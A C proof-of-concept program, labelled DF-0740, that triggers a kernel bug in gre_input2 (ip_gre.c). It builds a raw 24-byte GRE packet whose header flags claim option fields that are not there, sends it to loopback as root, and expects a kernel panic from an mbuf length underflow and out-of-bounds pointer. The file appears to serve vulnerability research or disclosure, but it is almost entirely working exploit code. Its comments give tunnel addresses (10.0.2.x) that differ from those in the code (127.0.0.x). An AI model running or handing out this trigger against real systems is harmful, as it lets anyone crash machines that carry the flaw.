/*
 * DF-0740 PoC trigger — gre_input2 missing packet length validation
 *
 * Sends a crafted GRE packet via a raw IP socket to our own address.
 * The kernel loops it back through ip_input → encap4_input → gre_input,
 * triggering the mbuf length underflow in gre_input2.
 *
 * In gre_input2() (sys/netinet/ip_gre.c):
 *   hlen = 20 (outer IP hdr) + 4 (gre_h) + 4 (CP) + 4 (KP) + 4 (SP) = 36
 *   m->m_pkthdr.len = 24 (20 IP + 4 GRE)
 *   m->m_data += 36;              // ip_gre.c:180 — OOB, 12 bytes past end
 *   m->m_len -= 36;               // ip_gre.c:181 — underflow: 24-36 = -12
 *   m->m_pkthdr.len -= 36;        // ip_gre.c:182 — underflow: 24-36 = -12
 *   netisr_queue(NETISR_IP, m);   // ip_gre.c:193 — corrupted mbuf to ip_input
 *
 * The mobile-IP path checks gre_in_cksum (ip_gre.c:232), but the CP path
 * in gre_input2 does NOT — it just trusts the packet is long enough.
 *
 * Build:  cc -o trigger trigger.c
 * Run:    ./trigger          (as root — needs raw socket)
 *
 * Preconditions (admin configures a GRE tunnel — see setup.sh):
 *   ifconfig gre0 create
 *   ifconfig gre0 tunnel 10.0.2.15 10.0.2.16
 *   ifconfig gre0 inet 172.16.0.1 172.16.0.2 netmask 0xffffffff up
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>

#define GRE_CP  0x8000
#define GRE_RP  0x4000
#define GRE_KP  0x2000
#define GRE_SP  0x1000

#define GRE_FLAGS  (GRE_CP | GRE_KP | GRE_SP)   /* 0xB000 */

/* A 4-byte bare GRE header, no option fields despite flags claiming them */
struct gre_h {
    uint16_t flags;
    uint16_t ptype;
} __attribute__((packed));

static unsigned short
in_cksum(unsigned short *addr, int len)
{
    int nleft = len, sum = 0;
    unsigned short *w = addr, answer = 0;
    while (nleft > 1) { sum += *w++; nleft -= 2; }
    if (nleft == 1) {
        *(unsigned char *)&answer = *(unsigned char *)w;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)~sum;
}

int
main(void)
{
    int s, on = 1;
    struct sockaddr_in dst;
    /*
     * Packet: 20-byte IP header + 4-byte bare GRE header = 24 bytes total.
     * GRE flags claim CP|KP|SP (+12 bytes options) but ZERO option bytes follow.
     */
    unsigned char pkt[24];
    struct ip *ip = (struct ip *)pkt;
    struct gre_h *gre = (struct gre_h *)(pkt + 20);

    memset(pkt, 0, sizeof(pkt));

    /* IP header: src=g_dst(10.0.2.16), dst=g_src(10.0.2.15), proto=47(GRE) */
    ip->ip_v   = 4;
    ip->ip_hl  = 5;
    ip->ip_len = htons(24);         /* 20 IP + 4 GRE, NO options */
    ip->ip_id  = htons(0x1234);
    ip->ip_ttl = 64;
    ip->ip_p   = 47;                /* IPPROTO_GRE */
    ip->ip_src.s_addr = inet_addr("127.0.0.2");  /* = tunnel g_dst (peer)  */
    ip->ip_dst.s_addr = inet_addr("127.0.0.1");  /* = tunnel g_src (local) */
    ip->ip_sum = in_cksum((unsigned short *)ip, 20);

    /* GRE header: flags claim CP|KP|SP but NO option bytes are present */
    gre->flags = htons(GRE_FLAGS);   /* 0xB000 */
    gre->ptype = htons(0x0800);      /* ETHERTYPE_IP → NETISR_IP path */

    s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (s < 0) { perror("socket(AF_INET,SOCK_RAW,IPPROTO_RAW)"); return 1; }

    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
        perror("setsockopt IP_HDRINCL"); close(s); return 1;
    }

    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr.s_addr = inet_addr("127.0.0.1");  /* route to self → loopback */

    printf("[*] DF-0740 trigger: gre_input2 mbuf length underflow\n");
    printf("[*] Packet: 24 bytes (20 IP + 4 GRE, NO option bytes)\n");
    printf("[*] IP: src=127.0.0.2 dst=127.0.0.1 proto=47 len=24\n");
    printf("[*] GRE: flags=0x%04x (CP|KP|SP) ptype=0x0800\n", GRE_FLAGS);
    printf("[*] In gre_input2: hlen=20+4+4+4+4=36, m_pkthdr.len=24\n");
    printf("[*] => m_len underflows to -12, m_data goes OOB by 12 bytes\n");
    printf("[*] Sending to 127.0.0.1 (self) — kernel loops back to ip_input\n");
    printf("[*] Expecting kernel panic from corrupted mbuf...\n");
    fflush(stdout);

    if (sendto(s, pkt, sizeof(pkt), 0,
               (struct sockaddr *)&dst, sizeof(dst)) != (int)sizeof(pkt)) {
        perror("sendto"); close(s); return 1;
    }

    printf("[*] Packet sent.  Waiting for panic...\n");
    fflush(stdout);
    sleep(5);
    printf("[!] Still alive after 5s — bug may not have triggered.\n");
    close(s);
    return 0;
}
